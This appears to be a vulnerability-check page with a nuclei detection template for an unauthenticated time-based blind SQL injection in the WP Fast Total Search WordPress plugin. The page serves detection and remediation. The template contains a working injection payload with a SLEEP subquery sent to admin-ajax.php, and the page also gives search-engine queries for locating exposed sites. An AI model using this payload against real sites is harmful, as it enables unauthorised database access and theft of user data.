WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.

Impact

An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.

Fix

Update WP Fast Total Search to version 1.81.282 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/fulltext-search/")
Send: @timeout: 12s
Positive when: duration >= 7 && duration < 20 and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-12741 -u <target>

The full check

id: CVE-2026-12741

info:
  name: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.
  impact: |
    An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.
  remediation: |
    Update WP Fast Total Search to version 1.81.282 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12741
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve
    - https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12741
    epss-score: 0.01588
    epss-percentile: 0.75835
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: wp-fast-total-search
    product: wp_fast_total_search
    shodan-query: http.html:"wp-content/plugins/fulltext-search"
    fofa-query: body="wp-content/plugins/fulltext-search"
  tags: cve,cve2026,wordpress,wp-plugin,fulltext-search,sqli,time-based-sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "/wp-content/plugins/fulltext-search/")'

  - raw:
      - |
        @timeout: 12s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpfts_autocomplete&form_data%5Bsentence%5D=1&form_data%5Bs%5D=zzz%22%20OR%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%284%29%29x%29%20OR%20%22aaa

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7 && duration < 20'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from